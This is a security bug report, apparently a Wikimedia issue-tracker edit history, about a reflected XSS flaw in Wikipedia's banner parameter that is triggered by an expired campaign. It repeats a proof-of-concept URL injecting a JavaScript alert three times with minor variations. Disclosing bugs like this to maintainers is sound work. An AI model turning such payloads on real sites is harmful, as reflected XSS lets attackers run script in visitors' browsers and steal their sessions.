Change Details

Example: https://en.wikipedia.org/w/index.php?title=Prism_International&banner=);alert(%27XSS%20on%20%27%2Bdocument.domain);void_(&force=1&campaign=uggr%20wle%202017%20awards Basically if set a campaign that exists but is expired, then the banner parameter is reflected back without escaping. Making this a subtask of T171987 since its more serious than the stuff on that bug, as you can do this without being an admin.

Example: https://en.wikipedia.org/w/index.php?title=Prism_International&banner=);alert(%27XSS%20on%20%27%2Bdocument.domain);void%20(&force=1&campaign=uggr%20wle%202017%20awards Basically if set a campaign that exists but is expired, then the banner parameter is reflected back without escaping. Making this a subtask of T171987 since its more serious than the stuff on that bug, as you can do this without being an admin.

Example: https://en.wikipedia.org/w/index.php?title=Prism_International&banner=);alert(%27XSS%20on%20%27%2Bdocument.domain);void_%20(&force=1&campaign=uggr%20wle%202017%20awards Basically if set a campaign that exists but is expired, then the banner parameter is reflected back without escaping. Making this a subtask of T171987 since its more serious than the stuff on that bug, as you can do this without being an admin.